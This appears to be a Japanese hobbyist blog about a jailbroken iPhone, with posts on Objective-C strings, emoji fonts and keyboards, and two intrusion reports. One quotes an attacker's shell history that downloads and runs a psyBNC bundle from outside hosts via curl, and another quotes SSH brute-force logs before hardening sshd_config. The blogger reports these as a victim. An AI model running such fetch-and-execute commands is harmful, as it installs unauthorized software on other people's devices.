Today's E90

NokiaのE90に関連した備忘録です。いつまで続くかな?

Ads by Google

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
  1. --/--/--(--) --:--:--|
  2. スポンサー広告

iPhoneのプログラムを試しに書いてみました

最近iPhoneのSDKでサンプルプログラムを参考にしてちょこっとプログラミングしてみました。
その時のポイントをObjective-Cの初心者として記録しておきます。

普段はWindowsのエディターを使い慣れているので、まずCygwinでCのメインの動作検証をしてから
最終的に文字列を表示出来るようになったものを関数としてSDKに登録しました。
SDKでもCygwinのgccで作成したソースをそのままエラー無しにコンパイル出来るので良かった
のですが、いざ文字列をtextviewに表示しようとしたところ、textviewはObjective-Cのオブジェクト
のNSStringを要求しています。
Objective-Cをいきなり理解できるほど頭が柔らかくないのでCでごりごりプログラミングしたことが
ここに来て裏目に出てしまいました。

そこで、Webで検索したりObjective-Cの本を読んだりしたのですが、NSStringのことについての
記述はすぐに見つかるのですが、Cの文字列をNSStringに変換する方法というのがなかなか
見つかりませんでした。単にObjective-Cを知らないが故の問題なのですが、、、
最終的にわかったのがstringWithCStringを使うと言うことでした。
このCStringというのが、一般的なC言語のcharで表される文字列だったんですね。
Objective-Cの中にNSStringとは違うCStringというオブジェクトがあるものだと思い込んで
しまっていたのが敗因です。
見たまんまとはこのことで、この記述を見つけたときは目から鱗が落ちる思いでした。

書いたコードはこんな感じで、GetMessage()がCで書かれた文字列を返す関数です。

textview.text = [NSString stringWithCString:GetMessage() encoding:NSUTF8StringEncoding];

以上、備忘録でした。

← ポチッとね。

テーマ:iPhone - ジャンル:携帯電話・PHS

  1. 2009/05/09(土) 19:01:10|
  2. iPhone
  3. | トラックバック:0
  4. | コメント:0

常に危険にさらされているみたい

この前のことがあってからsyslogを取るようにしたら結構攻撃を受けているようです。
最近電池の減りが早いのでおかしいと思っていたのですがこれで納得です。

攻撃してきたアドレスはさらしておきます。

Jan 19 04:43:53 XXXXXXXX launchproxy[2994]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 48948
Jan 19 04:43:53 XXXXXXXX sshd[2995]: Did not receive identification string from 210.219.122.3
Jan 19 04:48:22 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 58562
Jan 19 04:48:25 XXXXXXXX sshd[3025]: Failed password for root from 210.219.122.3 port 58562 ssh2
Jan 19 04:48:25 XXXXXXXX sshd[3025]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:25 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 58717
Jan 19 04:48:27 XXXXXXXX sshd[3026]: Invalid user fluffy from 210.219.122.3
Jan 19 04:48:27 XXXXXXXX sshd[3026]: input_userauth_request: invalid user fluffy
Jan 19 04:48:27 XXXXXXXX sshd[3026]: Failed password for invalid user fluffy from 210.219.122.3 port 58717 ssh2
Jan 19 04:48:27 XXXXXXXX sshd[3026]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:27 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 58810
Jan 19 04:48:29 XXXXXXXX sshd[3027]: Invalid user admin from 210.219.122.3
Jan 19 04:48:29 XXXXXXXX sshd[3027]: input_userauth_request: invalid user admin
Jan 19 04:48:29 XXXXXXXX sshd[3027]: Failed password for invalid user admin from 210.219.122.3 port 58810 ssh2
Jan 19 04:48:29 XXXXXXXX sshd[3027]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:29 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 58915
Jan 19 04:48:30 XXXXXXXX sshd[3028]: Invalid user test from 210.219.122.3
Jan 19 04:48:30 XXXXXXXX sshd[3028]: input_userauth_request: invalid user test
Jan 19 04:48:30 XXXXXXXX sshd[3028]: Failed password for invalid user test from 210.219.122.3 port 58915 ssh2
Jan 19 04:48:31 XXXXXXXX sshd[3028]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:31 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 59027
Jan 19 04:48:32 XXXXXXXX sshd[3029]: Invalid user guest from 210.219.122.3
Jan 19 04:48:32 XXXXXXXX sshd[3029]: input_userauth_request: invalid user guest
Jan 19 04:48:32 XXXXXXXX sshd[3029]: Failed password for invalid user guest from 210.219.122.3 port 59027 ssh2
Jan 19 04:48:32 XXXXXXXX sshd[3029]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:32 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 59141
Jan 19 04:48:34 XXXXXXXX sshd[3030]: Invalid user webmaster from 210.219.122.3
Jan 19 04:48:34 XXXXXXXX sshd[3030]: input_userauth_request: invalid user webmaster
Jan 19 04:48:34 XXXXXXXX sshd[3030]: Failed password for invalid user webmaster from 210.219.122.3 port 59141 ssh2
Jan 19 04:48:34 XXXXXXXX sshd[3030]: Received disconnect from 210.219.122.3: 11: Bye Bye
Jan 19 04:48:34 XXXXXXXX launchproxy[3024]: /usr/libexec/sshd-keygen-wrapper: Connection from: 210.219.122.3 on port: 60063
Jan 19 04:48:36 XXXXXXXX sshd[3031]: Invalid user mysql from 210.219.122.3
Jan 19 04:48:36 XXXXXXXX sshd[3031]: input_userauth_request: invalid user mysql
Jan 19 04:48:36 XXXXXXXX sshd[3031]: Failed password for invalid user mysql from 210.219.122.3 port 60063 ssh2
Jan 19 04:48:36 XXXXXXXX sshd[3031]: Received disconnect from 210.219.122.3: 11: Bye Bye


パスワードはalpineから変更しておいたのですが、辞書攻撃でやられたようです。
よく使われるパスワードTOP500とかに載っていないので安心していましたがちょっと甘かったようで、googleでパスワードを検索するとそれなりに出てきちゃいました。(^^ゞ

2.1の時にはsshの設定を変更してパスワードではなくキーファイルでのアクセスのみ許可する設定にしておいたのですが2.2に上げた時に設定するのを忘れたようです。

変更箇所は

/etc/ssh/sshd_config



#PasswordAuthentication yes

をコメントアウトしてnoにしておきます。

PasswordAuthentication no

これでパスワードによるログインが出来なくなりますので安心です。

もうしばらくはsyslogで確認しておいた方が良さそうです。

← ポチッとね。

テーマ:iPhone - ジャンル:携帯電話・PHS

  1. 2009/01/19(月) 06:05:40|
  2. iPhone
  3. | トラックバック:1
  4. | コメント:1

iPhoneに侵入された???

昨日Calendarのデータをいじろうと久しぶりにiPhoneにログインしたところ/var/rootの下に .a なるディレクトリーが作成されていました。
.で始まるファイル名なのでlsコマンドでも-aを付けないと表示されないのですが、普段から-laを付けているので見つけることが出来ました。

で、ディレクトリーの中を見るとpsydarwin.tgzと言うファイルとそれを展開した物が入っていました。
こんなディレクトリーを作った覚えも全くないのでおかしいと思い.bash_historyを見てみるとこんなコマンドが実行されていました。

uname -a
cat /etc/hosts
w
uptime
ps -x
mkdir .a
cd .a
curl -O http://trades.at.ua/psybnc-darwin.tgz
wget
curl
curl -O http://Linux-Help.clan.su/download/PsyBncDRWN.tgz
yum istall wget
tar zxvf psydarwin.tgz
cd psybnc
chmod +x *
sh
./psybnc
./psybnc
ls
./psybnc
chmod +x *
./psybnc


mkdir .a が実行されているのでディレクトリーのタイムスタンプを見ると12/31の23:59となっており、この時間はTVを見ていたのでiPhoneには指一本触れていませんでした。

curlなど普段は全く使わないというか、使ったことが一度もないコマンドなので誰かに触られたとしか考えられません。
rootのパスワードは変更してあるし、誰がどうやって侵入したのか全くの謎です。

これら一連のコマンドの後は見覚えのあるコマンドなので、途中であきらめたのでしょう。
実行しようとしたバイナリーはARM用にコンパイルされた物ではなかったので助かりました。

それにしても年明け早々???な出来事でした。

← ポチッとね。

テーマ:iPhone - ジャンル:携帯電話・PHS

  1. 2009/01/16(金) 18:53:29|
  2. iPhone
  3. | トラックバック:1
  4. | コメント:1

Docomo専用絵文字フォント

hideさんからリクエストがありましたのでSoftbankの絵文字を除いたDocomo専用の絵文字フォントをアップロードしておきました。
ダウンロードはここからどうぞ。

以前の記事を参考にこのファイルをHelvetica.ttfとHelveticaBold.ttfにマージして使って下さい。

hideさんのようにフォントの表示位置がずれる場合は、FontForgeでエレメント->フォント情報->一般情報でフォントの高さ、深さ、Em size、下線の位置、HeightがHelveicaと絵文字フォントで一致していることを確認して下さい。
ファームウェアの2.1と2.2ではHelvetica.ttfの日付とサイズが違っていますが、フォントの情報は同じであることを確認しましたのでおそらくマージ作業中にずれてしまったと思われます。
もう一度フォントのマージ作業をやり直すことをお奨めします。

← ポチッとね。

テーマ:iPhone - ジャンル:携帯電話・PHS

  1. 2008/12/02(火) 15:45:46|
  2. iPhone
  3. | トラックバック:0
  4. | コメント:4

iPhone2.2の絵文字キーボードをどこでも使えるようにする(要脱獄)

iPhoneのファームウェアが2.2になって絵文字がサポートされるようになりましたが、内部的にロックが掛かっていてSMSとi.softbank.jpのメール作成画面でしか利用できません。

いろいろと探しているとあるサイトでそのロックを外す方法が書かれていました。

脱獄が前提となりますが、
/User/Library/Preferences/com.apple.Preferences.plist


<key>KeyboardEmojiEverywhere</key>
<integer>1</integer>

を追加することでメモ帳やカレンダー、アドレス帳でも絵文字が使えるようになります。

22emoji1.png

22emoji2.png

22emoji3.png


ただし、com.apple.Preferences.plistはバイナリーフォーマットのplistファイルなのでplutilコマンドで一度テキストフォーマットに変換してから修正することになります。
脱獄済みの方は、CydiaからErica Utilitiesを導入することでiPhone上でplutilコマンドが利用できるようになりますのでsshでiPhoneにログインするか、MobileTerminalなどで

plutil -c xml1 com.apple.Preferences.plist

と実行することでバイナリーからテキストフォーマットに変更されますので、エディターで修正できるようになります。
ファイルそのものは上書きされてしまうので、実行前にコピーを作成しておくことをお奨めします。

最後にお約束として、脱獄はリスクが伴いますので自己責任でお願いします。

← ポチッとね。

テーマ:iPhone - ジャンル:携帯電話・PHS

  1. 2008/11/24(月) 09:29:56|
  2. iPhone
  3. | トラックバック:0
  4. | コメント:1
次のページ

プロフィール

nao

Author:nao
E90をどこまで自分好みに仕上げるかにはまっています。ネタがつきるまでがんばろう。

最近の記事

最近のコメント

最近のトラックバック

月別アーカイブ

カテゴリー

天気予報


-天気予報コム- -FC2-

ブロとも申請フォーム

この人とブロともになる

ブログ内検索

RSSフィード

リンク

このブログをリンクに追加する

By FC2ブログ

今すぐブログを作ろう!

Powered By FC2ブログ

訪問者数


follow undefined at http://twitter.com